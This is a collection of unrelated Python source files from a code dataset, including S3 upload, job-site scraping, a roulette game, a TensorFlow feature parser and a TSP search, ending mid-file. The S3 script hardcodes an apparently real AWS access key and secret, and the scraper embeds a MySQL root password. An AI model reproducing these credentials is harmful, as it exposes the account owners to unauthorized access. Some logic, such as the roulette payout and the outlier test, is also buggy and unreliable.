int:\n data_out.put(x)\n else:\n data_out.put(ord(x))\n else:\n data_out.put(0x00)\n\n########## End of ElkaDriverThread Class ##########\n","sub_path":"ElkaControl/ETP/elkaDriver.py","file_name":"elkaDriver.py","file_ext":"py","file_size_in_byte":9456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"297367738","text":"import boto3,uuid\n\ns3_client = boto3.client('s3',aws_access_key_id='AKIASZ6M73INSE3WJPM4',\n aws_secret_access_key= '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')\ns3_resource = boto3.resource('s3',aws_access_key_id='AKIASZ6M73INSE3WJPM4',\n aws_secret_access_key='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')\n\ndef create_bucket_name(bucket_prefix):\n # The generated bucket name must be between 3 and 63 chars long\n return ''.join([bucket_prefix, str(uuid.uuid4())])\n\ndef create_bucket(bucket_prefix, s3_connection):\n session = boto3.session.Session()\n bucket_name = create_bucket_name(bucket_prefix)\n bucket_response = s3_connection.create_bucket(\n Bucket=bucket_name,\n CreateBucketConfiguration={\n 'LocationConstraint': 'sa-east-1'})\n print(bucket_name, 'sa-east-1')\n return bucket_name, bucket_response\n\ndef create_temp_file(size, file_name, file_content):\n random_file_name = ''.join([str(uuid.uuid4().hex[:6]), file_name])\n with open(random_file_name, 'w') as f:\n f.write(str(file_content) * size)\n return random_file_name\n\nfirst_bucket_name, first_response = create_bucket(\n bucket_prefix='firstpythonbucket', \n s3_connection=s3_resource.meta.client)\n\n\nsecond_bucket_name, second_response = create_bucket(\n bucket_prefix='secondpythonbucket', s3_connection=s3_resource)\n\nfirst_file_name = create_temp_file(300, 'photo', 'f') \n\n\nfirst_bucket = s3_resource.Bucket(name=first_bucket_name)\nfirst_object = s3_resource.Object(\n bucket_name=first_bucket_name, key=first_file_name)\n\nfirst_object_again = first_bucket.Object(first_file_name)\n\n\nfirst_bucket_again = first_object.Bucket()\n\n\nprint(first_response)\nprint(second_response)\nprint(first_file_name)\n\n#### uploading photo\n\nfirst_object.upload_file('tempPhotos/testPhoto.jpg')\nprint('first upload ok!')\n\ns3_resource.meta.client.upload_file(\n Filename='tempPhotos/testPhoto.jpg', Bucket='secondpythonbucket08fd5c1c-a014-4245-a583-9733edac7f1c',\n Key='tempPhotos/testPhoto.jpg')\nprint('second upload ok!')\n\n\n\n\n","sub_path":"BotoFunctions.py","file_name":"BotoFunctions.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"296776515","text":"# -*- coding: utf-8 -*-\r\n\r\n\r\nimport csv\r\nimport datetime\r\nimport os\r\nimport re\r\nimport time\r\nimport sys\r\ntype = sys.getfilesystemencoding()\r\nimport pymysql\r\nimport xlrd\r\nimport requests\r\nfrom requests.exceptions import RequestException\r\n\r\n\r\ndef call_page(url):\r\n try:\r\n response = requests.get(url)\r\n if response.status_code == 200:\r\n return response.text\r\n return None\r\n except RequestException:\r\n return None\r\n\r\n\r\ndef RemoveDot(item):\r\n f_l = []\r\n for it in item:\r\n f_str = \"\".join(it.split(\",\"))\r\n f_l.append(f_str)\r\n\r\n return f_l\r\n\r\n\r\ndef remove_block(items):\r\n new_items = []\r\n for it in items:\r\n f = \"\".join(it.split())\r\n new_items.append(f)\r\n return new_items\r\n\r\n\r\ndef writerDt_csv(headers, rowsdata):\r\n # rowsdata列表中的数据元组,也可以是字典数据\r\n with open('tokyoTSN.csv', 'w',newline = '') as f:\r\n f_csv = csv.writer(f)\r\n f_csv.writerow(headers)\r\n f_csv.writerows(rowsdata)\r\n\r\n\r\ndef insertDB(content):\r\n connection = pymysql.connect(host='127.0.0.1', port=3306, user='root', password='123456', db='Yahoo_J',\r\n charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)\r\n\r\n cursor = connection.cursor()\r\n try:\r\n\r\n f_73 = \"%s,\" *73\r\n cursor.executemany('insert into Tokyo_TSN ({0}) values ({1})'.format(f_FS_DB,f_73[:-1]), content)\r\n connection.commit()\r\n connection.commit()\r\n connection.close()\r\n print('向MySQL中添加数据成功!')\r\n except TypeError :\r\n pass\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n big_list = []\r\n TS_lang_DB = 'Python,scrapy,flask,sqlalchemy,Django,Golang,beego,buffalo,Echo,Gin,Iris,Revel,perl,java,spring,ruby,rust,CPlus,Github,git,AWS,Highcharts,pandas,numpy,TCP,Ruby_on_Rails,shell,ccie'\r\n TS_lang_Web = 'Python,scrapy,flask,sqlalchemy,Django,Golang,beego,buffalo,Echo,Gin,Iris,Revel,perl,java,spring,ruby,rust,C++,Github,git,AWS,Highcharts,pandas,numpy,TCP,Ruby on Rails,shell,ccie'\r\n TS_db = 'mysql,mongodb,redis,Docker,k8s,Postgresql,Oracle'\r\n TS_certificate = 'CentOS,LPIC,LPIC1,LPIC2,LPIC3,CCNA,CCNP,CFA,TOEIC'\r\n add_cloumn_DB1 = 'API,FinTech,FundManagement,Bloomberg,PHP,laravel,gorm,IT_N3,selenium,fina_Python,fina_ruby,fina_perl,fina_Golang,fina_linux,secu_Python,secu_ruby,secu_perl,secu_Golang,secu_linux,fund_Python,fund_ruby,fund_perl,fund_Golang,fund_linux,VBA,javascript,vue,jQuery,CISSP'\r\n add_cloumn_Web1 = 'API,FinTech,ファンドマネージャー,Bloomberg,PHP,laravel,gorm,IT+N3,selenium,金融業+Python,金融業+ruby,金融業+perl,金融業+Golang,金融業+linux,基金+Python,基金+ruby,基金+perl,基金+Golang,基金+linux,証券+Python,証券+ruby,証券+perl,証券+Golang,証券+linux,VBA,javascript,vue,jQuery,CISSP'\r\n f_FS_web =TS_lang_Web+\",\"+TS_db+\",\"+TS_certificate+\",\"+add_cloumn_Web1\r\n f_FS_DB =TS_lang_DB+\",\"+TS_db+\",\"+TS_certificate+\",\"+add_cloumn_DB1\r\n f_tsn_web = f_FS_web.split(\",\")\r\n print(len(f_tsn_web))\r\n\r\n for code in f_tsn_web:\r\n url = 'https://job.yahoo.co.jp/jobs/?q=&l=%E6%9D%B1%E4%BA%AC%E9%83%BD&keyword={0}&side=1'.format(code)\r\n\r\n html = call_page(url)\r\n print(url)\r\n patt = re.compile('

.*?関連の求人検索結果((.*?)件)

',re.S)\r\n items = re.findall(patt, html)\r\n try:\r\n if len(items) != 0:\r\n for it in items:\r\n f = \"\".join(it.split(\",\"))\r\n big_list.append(f)\r\n else:\r\n big_list.append(\"0\")\r\n except:\r\n pass\r\n\r\n\r\n ff_l = []\r\n f_tup = tuple(big_list)\r\n ff_l.append((f_tup))\r\n print(ff_l)\r\n print(len(ff_l[0]))\r\n insertDB(ff_l)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# create table Tokyo_TSN (id int not null primary key auto_increment,Python float,scrapy float,flask float,sqlalchemy float,Django float,Golang float,beego float,buffalo float,Echo float,Gin float,Iris float,Revel float,perl float,java float,spring float,ruby float,rust float,CPlus float,Github float,git float,AWS float,Highcharts float,pandas float,numpy float,TCP float,Ruby_on_Rails float,shell float,ccie float,mysql float,mongodb float,redis float,Docker float,k8s float,Postgresql float,Oracle float,CentOS float,LPIC float,LPIC1 float,LPIC2 float,LPIC3 float,CCNA float,CCNP float,CFA float,TOEIC float, LastTime timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP) engine=InnoDB charset=utf8;\r\n\r\n\r\n# drop table Tokyo_TSN;\r\n\r\n\r\n# 增加列字段\r\n# API,FinTech,FundManagement,Bloomberg\r\n# alter table Tokyo_TSN add column API float;\r\n# alter table Tokyo_TSN add column FinTech float;\r\n# alter table Tokyo_TSN add column FundManagement float;\r\n# alter table Tokyo_TSN add column Bloomberg float;\r\n# alter table Tokyo_TSN add column PHP float;\r\n# alter table Tokyo_TSN add column laravel float;gorm\r\n# alter table Tokyo_TSN add column gorm float;\r\n# alter table Tokyo_TSN add column IT_N3 float;\r\n# alter table Tokyo_TSN add column selenium float;\r\n# alter table Tokyo_TSN add column fina_Python float;\r\n# alter table Tokyo_TSN add column fina_ruby float;\r\n# alter table Tokyo_TSN add column fina_perl float;\r\n# alter table Tokyo_TSN add column fina_Golang float;\r\n# alter table Tokyo_TSN add column fina_linux float;\r\n# alter table Tokyo_TSN add column secu_Python float;\r\n# alter table Tokyo_TSN add column secu_ruby float;\r\n# alter table Tokyo_TSN add column secu_perl float;\r\n# alter table Tokyo_TSN add column secu_Golang float;\r\n# alter table Tokyo_TSN add column secu_linux float;\r\n# alter table Tokyo_TSN add column fund_Python float;\r\n# alter table Tokyo_TSN add column fund_ruby float;\r\n# alter table Tokyo_TSN add column fund_perl float;\r\n# alter table Tokyo_TSN add column fund_Golang float;\r\n# alter table Tokyo_TSN add column fund_linux float;\r\n# alter table Tokyo_TSN add column VBA float;\r\n# alter table Tokyo_TSN add column javascript float;\r\n# alter table Tokyo_TSN add column vue float;\r\n# alter table Tokyo_TSN add column jQuery float;\r\n# alter table Tokyo_TSN add column CISSP float;\r\n\r\n\r\n\r\n# mei\r\n#*/3 * * * * /home/w/pyenv/bin/python /home/w/SP500_Nasdap100/SP500.py\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"技术栈需求数爬虫/存储DB动态跟踪/Tokyo_TechStack_N.py","file_name":"Tokyo_TechStack_N.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"175775770","text":"from random import randrange\nfrom math import ceil\nfrom os import system\n\nbalance = 50\nnombre_choisi = 0\nnombre_gagnant = 49\nmise = 0\nok4 = 0\nquit = 0\n\n\ndef regles_bienvenue():\n print(\"Bienvenue au Bongocasino !\")\n print(\"Vous jouez à la roulette. Bonne chance !\")\n print(\"Regles : \")\n print(\"Vous devez choisir un nombre entre 0 et 49.\")\n print(\"Vous choisissez ensuite la somme à miser (vous commencez avec 50$).\")\n print(\"Si le numéro gagnant correspond avec le votre, alors vous gagnez 3 fois la mise que vous avez fait.\")\n print(\"Si le numéro que vous avez choisi est de la même couleur que le numéro gagnant, vous gagnez 50% de la somme que vous avez misé.\")\n print(\"Sinon, vous perdez votre mise.\")\n print(\"[nombre rouge] = nombre pair et [nombre noir] = nombre impair\")\n\n\ndef argent(perte=0, gain=0):\n global balance\n if perte > 0 and gain == 0:\n balance = (balance - perte)\n print(\"Vous avez\", balance, \"$\")\n elif perte == 0 and gain > 0:\n balance = (balance + gain)\n print(\"Vous avez\", balance, \"$\")\n elif perte == 0 and gain == 0:\n print(\"Vous avez\", balance, \"$\")\n elif perte > 0 and gain > 0:\n balance = (balance + gain)\n balance = (balance - perte)\n print(\"Vous avez\", balance, \"$\")\n else:\n print(\"[ERREUR] Vous avez\", balance, \"$\")\n\n\ndef mise():\n global mise\n global balance\n global ok2\n mise = 1\n ok1 = 0\n ok2 = 0\n while ok1 == 0 and ok2 == 0:\n mise = input(\"Combien voulez-vous miser ? \")\n try:\n mise = int(mise)\n assert mise > 0\n except ValueError:\n print(\"Vous n'avez pas saisi un nombre.\")\n except AssertionError:\n print(\"Vous n'avez pas saisi un nombre valide.\")\n else:\n ok1 = 1\n try:\n assert mise <= balance\n except AssertionError:\n print(\"Vous n'avez pas assez d'argent pour effectuer cette mise.\")\n ok2 = 0\n else:\n ok2 = 1\n print(\"Vous allez miser\", mise, \"$\")\n\n\ndef tirage():\n global ok2\n global mise\n global balance\n global nombre_gagnant\n global nombre_choisi\n ok3 = 0\n nombre_gagnant = randrange(0, 50)\n if ok2 == 1:\n while ok3 == 0:\n nombre_choisi = input(\"Veuillez choisir votre nombre : \")\n try:\n nombre_choisi = int(nombre_choisi)\n assert nombre_choisi < 50\n assert nombre_choisi >= 0\n except ValueError:\n print(\"Veuillez saisir un nombre valide.\")\n except AssertionError:\n print(\"Le nombre doit être situé entre 0 et 49.\")\n else:\n ok3 = 1\n if ok3 == 1:\n pair_ou_impair_choisi = nombre_choisi % 2\n pair_ou_impair_gagnant = nombre_gagnant % 2\n if nombre_choisi == nombre_gagnant:\n print(\"Les numéros correspondent ! Vous avez gagné 3 fois votre mise !\")\n argent(gain=(mise * 3))\n elif pair_ou_impair_choisi == pair_ou_impair_gagnant:\n print(\"Les numéros sont de la même couleur ! Vous avez gagné 50 % de votre mise\")\n gain_pair = (mise * (1 / 50))\n gain_pair = int(gain_pair)\n gain_pair = ceil(gain_pair)\n argent(gain=gain_pair)\n if pair_ou_impair_gagnant != pair_ou_impair_choisi and nombre_gagnant != nombre_choisi:\n print(\"Vous avez perdu ! Vous perdez la totalité de votre mise.\")\n argent(perte=mise)\n\n\nregles_bienvenue()\n\nwhile quit == 0:\n argent()\n mise()\n tirage()\n while ok4 == 0:\n print(\"Voulez-vous quitter le jeu ? 1--> Oui N --> 0\")\n quit = input(\"\")\n try:\n quit = int(quit)\n assert quit == 1 or quit == 0\n except ValueError:\n print(\"Veuillez saisir un nombre valide.\")\n except AssertionError:\n print(\"Vous devez entrer 0 ou 1.\")\n else:\n if quit == 1:\n ok4 = 1\n system(\"pause\")\n else:\n ok4 = 1\n quit = 0\n\nsystem(\"pause\")\n","sub_path":"Bongcasino/Bongocasino.py","file_name":"Bongocasino.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"388953885","text":"## Car Data Retreval Project\n## Author: Todd Perry\n\n## Simulation Of Sensors\n\nimport random\nimport time\n\ndef getStringToWrite():\n # init random number generator\n toWrite = \"\"\n for i in range(20):\n rand = random.randint(1, 100)\n toWrite = toWrite + str(rand) + \", \"\n print(toWrite)\n return toWrite \n \n\ndef writeToFile(strToWrite):\n outFile = open('CarData.txt', 'w') # open carData to write\n outFile.write(strToWrite)\n outFile.close()\n \n \n\ndef main():\n while True:\n strToWrite = getStringToWrite()\n writeToFile(strToWrite)\n time.sleep(0.01)\n\n\nmain()\n\n","sub_path":"Server Side Data Retreval/GoDaddy Writer/sensor simulator.py","file_name":"sensor simulator.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"290929022","text":"# -*- coding:utf-8 -*-\nimport os\nimport csv\nimport numpy as np\n\n\ndef report_outliers(path_root):\n \"\"\"\n 此函数输出检测出异常的网页实例。\n :param path_root: 数据集所在的根目录。\n :return: none\n \"\"\"\n path_packet_length = path_root + '/data_packet_length'\n\n goods = os.listdir(path_packet_length)\n for g in goods:\n pages = os.listdir(path_packet_length + '/' + g)\n for p in pages:\n fetches = os.listdir(path_packet_length + '/' + g + '/' + p)\n for f in fetches:\n with open(path_packet_length + '/' + g + '/' + p + '/' + f, 'rb') as file_length:\n csv_reader = csv.reader(file_length)\n incomes = [] # “接收”数据包Length字段序列\n for length in csv_reader:\n length = int(length[0])\n if length > 0:\n incomes.append(length)\n incomes = np.array(incomes, dtype=float)\n I = incomes.sum()\n Q1, Q3 = np.percentile(incomes, [25., 75.])\n if Q1 - 1.5 * (Q3 - Q1) < I < Q3 + 1.5 * (Q3 - Q1):\n with open('outliers.csv', 'w+') as file_outlier:\n file_outlier.write(f.split('.')[0] + '\\n')\n\n\ndef main():\n path = raw_input('Enter the root path of your data: ')\n if path == '':\n path = 'C:/ScriptData/CUMUL_SVM'\n elif path.find('\\\\') != -1: # 转换路径格式\n path = path.replace('\\\\', '/')\n report_outliers(path)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"outlier_check.py","file_name":"outlier_check.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"620542869","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 13 11:42:01 2018\n\n@author: Leila\n\"\"\"\n\n#%%\n\nimport requests\n\ndef add_contact(name,phone):\n \n url = \"http://127.0.0.1:5000/add_contact/\" + name + \"/\" + phone\n \n response = requests.get(url).json()\n \n return response\n\nadd_contact(\"pepe\",\"911\")\n\n#%%\n\ndef get_contact(name):\n \n url = \"http://127.0.0.1:5000/get_contact/\" + name \n \n response = requests.get(url).json()\n \n return response\n\nget_contact(\"hannah\")\n\n#%%\n\ndef delete_contact(name):\n \n url = \"http://127.0.0.1:5000/delete_contact/\" + name \n \n response = requests.get(url).json()\n \n return response\n\ndelete_contact(\"hannah\")\n\n#%%\n\ndef update_contact(name,phone):\n \n url = \"http://127.0.0.1:5000/update_contact/\" + name + \"/\" + phone\n \n response = requests.get(url).json()\n \n return response\n\nupdate_contact(\"javi\",\"514\")\n\n#%%\n","sub_path":"phone_book/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"647260761","text":"from django.contrib.auth.views import login, logout\nfrom .forms import AuthenticationFormWithChekUsersStatus\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^login/$', views.login, name='login'),\n url(r'^logout/$', logout, {'next_page':'accounts:login'}, name='logout'),\n url(r'^profile/$', views.profile, name='profile'),\n url(r'^signup/$', views.create_user, name='signup'),\n url(r'^dashboard/$', views.dashboard, name='dashboard'),\n url(r'^list/$', views.list_user, name='list_users'),\n url(r'^detail/(?P\\d+)$', views.detail, name='detail_user'),\n url(r'^new/', views.create_employee, name='new_user'),\n url(r'^status/(?P\\d+)/active', views.active, name='active'),\n url(r'^status/(?P\\d+)/disable', views.disable, name='disable'),\n url(r'^status/(?P\\d+)/block', views.block, name='block'),\n]\n","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"68776958","text":"from pyspark import SparkContext, SQLContext\nimport pandas as pd\nimport csv\n\nsc = SparkContext(appName=\"transactions\")\nsqlContext = SQLContext(sparkContext=sc)\n\ntransactions = (\n sqlContext.read.format(\"com.databricks.spark.csv\")\n .option(\"header\", \"true\")\n .option(\"mode\", \"DROPMALFORMED\")\n .load(\"./data/transactions.csv\")\n)\n\nprint(transactions.select(\"Date\", \"Amount\").show())\n","sub_path":"day8/lesson_pyspark.py","file_name":"lesson_pyspark.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430978858","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: qiugengfeng\n# Time: 2018/7/26 14:47\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport configparser\nfrom configparser import ConfigParser\n\nINDICATOR_COL_SUFFIX = 'Ind'\nEMBEDDING_COL_SUFFIX = 'Embed'\nCONFIG_IS_USED_WIDE = 'is_used_wide'\nCONFIG_IS_USED_DEEP = 'is_used_deep'\nCONFIG_USE_INDICATOR = 'use_indicator'\nCONFIG_USE_EMBEDDING = 'use_embedding'\n\n\nclass FeatureColumnConfigParser:\n \"\"\"Parse tensorflow feature columns from config file\"\"\"\n\n def __init__(self, config_file):\n self._config = ConfigParser(interpolation=configparser.ExtendedInterpolation())\n self._config.read(config_file)\n self._feature_columns = {}\n self._used_deep_columns = []\n self._used_wide_columns = []\n self._weight_column = None\n\n def _build_embedding_column(self, section, source_column):\n dimension = self._config.getint(section, 'dimension')\n combiner = self._config.get(section, 'combiner', fallback='mean')\n return tf.feature_column.embedding_column(source_column, dimension, combiner)\n\n def parse(self):\n conf = self._config\n for section in conf.sections():\n if section == 'Variables':\n continue\n\n # 特征工程的输入是一个字典,字典的key与section相同,value为一个特征的数据集\n current_col = None\n is_used_wide = False\n is_used_deep = False\n use_indicator = False\n use_embedding = False\n col_type = conf.get(section, 'type')\n if col_type == 'weight':\n if self._weight_column is not None:\n raise Exception('weight_column has already been specified!')\n self._weight_column = tf.feature_column.numeric_column(key=section)\n\n elif col_type == 'vocab_list_category':\n # 构造categorical_column_with_vocabulary_list,只能作为wide特征\n vocab_list = [x.strip() for x in conf.get(section, 'vocab_list').split(',')]\n current_col = tf.feature_column.categorical_column_with_vocabulary_list(key=section, vocabulary_list=vocab_list)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n use_indicator = conf.getboolean(section, CONFIG_USE_INDICATOR, fallback=False)\n use_embedding = conf.getboolean(section, CONFIG_USE_EMBEDDING, fallback=False)\n\n elif col_type == 'hash_bucket_category':\n # 构造categorical_column_with_hash_bucket,只能作为wide特征\n hash_bucket_size = conf.getint(section, 'hash_bucket_size')\n dtype = tf.string\n if conf.get(section, 'dtype', fallback='string') == 'int':\n dtype = tf.int32\n current_col = tf.feature_column.categorical_column_with_hash_bucket(key=section,\n hash_bucket_size=hash_bucket_size,\n dtype=dtype)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n use_indicator = conf.getboolean(section, CONFIG_USE_INDICATOR, fallback=False)\n use_embedding = conf.getboolean(section, CONFIG_USE_EMBEDDING, fallback=False)\n\n elif col_type == 'identity_category':\n # 构造categorical_column_with_identity,只能作为wide特征\n num_buckets = conf.getint(section, 'num_buckets')\n default_value = conf.getint(section, 'default_value')\n current_col = tf.feature_column.categorical_column_with_identity(section, num_buckets, default_value)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n use_indicator = conf.getboolean(section, CONFIG_USE_INDICATOR, fallback=False)\n use_embedding = conf.getboolean(section, CONFIG_USE_EMBEDDING, fallback=False)\n\n elif col_type == 'numeric':\n # 构造numeric_column,可以作为wide和deep特征\n current_col = tf.feature_column.numeric_column(key=section)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n is_used_deep = conf.getboolean(section, CONFIG_IS_USED_DEEP, fallback=True)\n\n elif col_type == 'numeric_bucket':\n # 构造bucketized_column,可以作为wide和deep特征,以numeric_column作为源\n source_column = self._feature_columns[conf.get(section, 'source')]\n boundaries = [float(x.strip()) for x in conf.get(section, 'boundaries').split(',')]\n current_col = tf.feature_column.bucketized_column(source_column, boundaries)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n is_used_deep = conf.getboolean(section, CONFIG_IS_USED_DEEP, fallback=True)\n\n elif col_type == 'indicator':\n # 构造indicator_column,可以作为wide和deep特征,以categorical_column作为源\n source_column = self._feature_columns[conf.get(section, 'source')]\n current_col = tf.feature_column.indicator_column(source_column)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n is_used_deep = conf.getboolean(section, CONFIG_IS_USED_DEEP, fallback=True)\n\n elif col_type == 'cross':\n # 构造crossed_column,只能作为wide特征\n if conf.has_option(section, \"source\"):\n sources = [self._feature_columns[src.strip()] for src in conf.get(section, 'source').split(',')]\n else:\n sources = [key.strip() for key in conf.get(section, 'keys').split(',')]\n hash_bucket_size = conf.getint(section, 'hash_bucket_size')\n current_col = tf.feature_column.crossed_column(sources, hash_bucket_size)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n use_indicator = conf.getboolean(section, CONFIG_USE_INDICATOR, fallback=False)\n use_embedding = conf.getboolean(section, CONFIG_USE_EMBEDDING, fallback=False)\n\n elif col_type == 'embedding':\n # 构造embedding_column,可以作为wide和deep特征\n source_column = self._feature_columns[conf.get(section, 'source')]\n current_col = self._build_embedding_column(section=section, source_column=source_column)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n is_used_deep = conf.getboolean(section, CONFIG_IS_USED_DEEP, fallback=True)\n\n elif col_type == 'weighted_category':\n # 构造weighted_categorical_column,只能作为wide特征\n source_column = self._feature_columns[conf.get(section, 'source')]\n dtype = tf.float32\n if conf.get(section, 'dtype', fallback='float') == 'int':\n dtype = tf.int32\n current_col = tf.feature_column.weighted_categorical_column(source_column, weight_feature_key=section,\n dtype=dtype)\n is_used_wide = conf.getboolean(section, CONFIG_IS_USED_WIDE, fallback=True)\n use_indicator = conf.getboolean(section, CONFIG_USE_INDICATOR, fallback=False)\n use_embedding = conf.getboolean(section, CONFIG_USE_EMBEDDING, fallback=False)\n\n if current_col is not None:\n self._feature_columns[section] = current_col\n\n if is_used_wide:\n self._used_wide_columns.append(current_col)\n\n if is_used_deep:\n self._used_deep_columns.append(current_col)\n\n if use_indicator:\n # 构造indicator_column特征\n indicator_col_name = section + INDICATOR_COL_SUFFIX\n indicator_col = tf.feature_column.indicator_column(current_col)\n self._feature_columns[indicator_col_name] = indicator_col\n self._used_deep_columns.append(indicator_col)\n\n if use_embedding:\n # 构造embedding_column特征\n embedding_col_name = section + EMBEDDING_COL_SUFFIX\n embedding_col = self._build_embedding_column(section=section, source_column=current_col)\n self._feature_columns[embedding_col_name] = embedding_col\n self._used_deep_columns.append(embedding_col)\n\n def get_feature_columns(self):\n return self._feature_columns\n\n def get_deep_columns(self):\n return self._used_deep_columns\n\n def get_wide_columns(self):\n return self._used_wide_columns\n\n def get_weight_column(self):\n return self._weight_column\n\n\nif __name__ == '__main__':\n f = FeatureColumnConfigParser('E:\\\\workspace2\\\\weimi_reco\\\\models\\\\feature_templates\\\\news_reco_wd_features_v2.ini')\n f.parse()\n\n weight_col = f.get_weight_column()\n print(\"----------- Weight Column ------------\")\n print(weight_col)\n\n deep_cols = f.get_deep_columns()\n print(\"----------- Deep Features ------------\")\n for x in deep_cols:\n print(x)\n print(\"共有{}个Deep特征\\n\".format(len(deep_cols)))\n\n wide_cols = f.get_wide_columns()\n print(\"----------- Wide Features ------------\")\n for x in wide_cols:\n print(x)\n print(\"共有{}个Wide特征\\n\".format(len(wide_cols)))\n # fea_cols = f.get_feature_columns()\n # for k, v in fea_cols.items():\n # print(\"{}:{}\".format(k, v))\n # print(\"共有{}个特征\\n\".format(len(fea_cols)))\n","sub_path":"utils/tf_utils/feature_column_configparser.py","file_name":"feature_column_configparser.py","file_ext":"py","file_size_in_byte":9060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"630899809","text":"'''\nDepth First Search Algorithm to find shortest path.\n\n@author Fernando Felix do Nascimento Junior\n\n@links\n https://code.google.com/p/tspuib/source/browse/trunk/TravelingSalesMan/src/travelingsalesman/DepthFirstSearch.java?r=13\n'''\nfrom datetime import datetime\nfrom graph import Graph\n\n\nclass DepthFirstSearch:\n\n def __init__(self, start, graph):\n self.graph = graph # graph with vertices and edge costs\n self.start = start # start city\n self.vertices = self.graph.vertices() # cities to visit\n self.optimum_route = []\n self.optimum_cost = float('Inf')\n\n def solve(self):\n '''\n executes the algorithm\n '''\n self.search(self.start)\n\n def search(self, current, followed=[], missing=None):\n '''\n Searches for possible solutions\n @param current Current vertex where we start the search.\n @param followed Followed route for arriving to current vertex.\n @param missing List of neighbors of current vertex to be visited\n '''\n missing = missing or list(self.vertices)\n\n if current not in followed:\n followed.append(current)\n\n missing.remove(current) # current already visited\n\n for neighbor in missing: # neighbors to visit\n self.search(neighbor, list(followed), list(missing))\n\n # we've found a complete route (possible solution)\n if not missing: # list is empty\n followed.append(self.start) # end city\n routeCost = self.graph.path_cost(followed)\n\n if (routeCost < self.optimum_cost):\n self.optimum_cost = routeCost\n self.optimum_route = followed\n\n\ndef test(max_runs=5):\n\n results = []\n\n for run in range(max_runs):\n print('Run:', run)\n graph = Graph('data/test.json')\n solution = DepthFirstSearch('0', graph)\n start_time = datetime.now()\n solution.solve()\n end_time = datetime.now()\n elapsed_time = end_time - start_time\n print(\"Elapsed Time:\", str(elapsed_time), \"ms\")\n print(\"Cost:\", solution.optimum_cost)\n print(\"Path:\", solution.optimum_route)\n results.append([elapsed_time, solution])\n\n return results\n\ntest()\n","sub_path":"src/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"102838181","text":"import pandas as pd\nfrom ensemble import GeneralEnsemble\nfrom tqdm import tqdm\nfrom object_detection.utils import label_map_util\nimport os\nimport numpy as np\nfrom imageio import imread\nimport random\nimport cPickle\n\nclasses = pd.read_csv(\"challenge-2018-classes-vrd.csv\")\nprint(len(classes))\nrel_cand = ['at','on','holds','plays','interacts_with','wears','is','inside_of','under','hits']\ntriplets = pd.concat([pd.read_csv(\"challenge-2018-relationship-triplets.csv\"),\n pd.read_csv(\"challenge-2018-initial-relationship-triplets.csv\")])\ntriplets = triplets.drop_duplicates(['LabelName1','LabelName2','RelationshipLabel'])\nprint(triplets)\nobj1 = []\nobj2 = []\nrels = []\nobjs = []\n\ndicts = {}\nfor i in range(len(classes)):\n row=classes.iloc[i]\n\n dicts[row['ImageID']]=i\n\ninv_dicts = {v: k for k, v in dicts.items()}\n\nfor i in range(len(triplets)):\n row = triplets.iloc[i]\n #print(type(row))\n #print(dicts.keys())\n #print(row['LabelName1'])\n if row['LabelName1'] in dicts.keys() and row['LabelName2'] in dicts.keys():\n #print(1)\n obj1.append(dicts[row['LabelName1']])\n obj2.append(dicts[row['LabelName2']])\n objs.append(str(dicts[row['LabelName1']])+str(dicts[row['LabelName2']]))\n rels.append(rel_cand.index(row['RelationshipLabel']))\n\nprior = np.zeros((len(classes),len(classes),10))\n\nfor i in tqdm(range(len(classes))):\n for j in range(len(classes)):\n for r in range(len(rel_cand)):\n if str(i)+str(j) in objs and r == rels[objs.index(str(i)+str(j))]:\n prior[i,j,r]=1\n\nfor i in tqdm(range(len(classes))):\n for j in range(len(classes)):\n for r in range(len(rel_cand)):\n sum = np.sum(prior[i,j,:])\n if not(sum==0):\n print(sum)\n 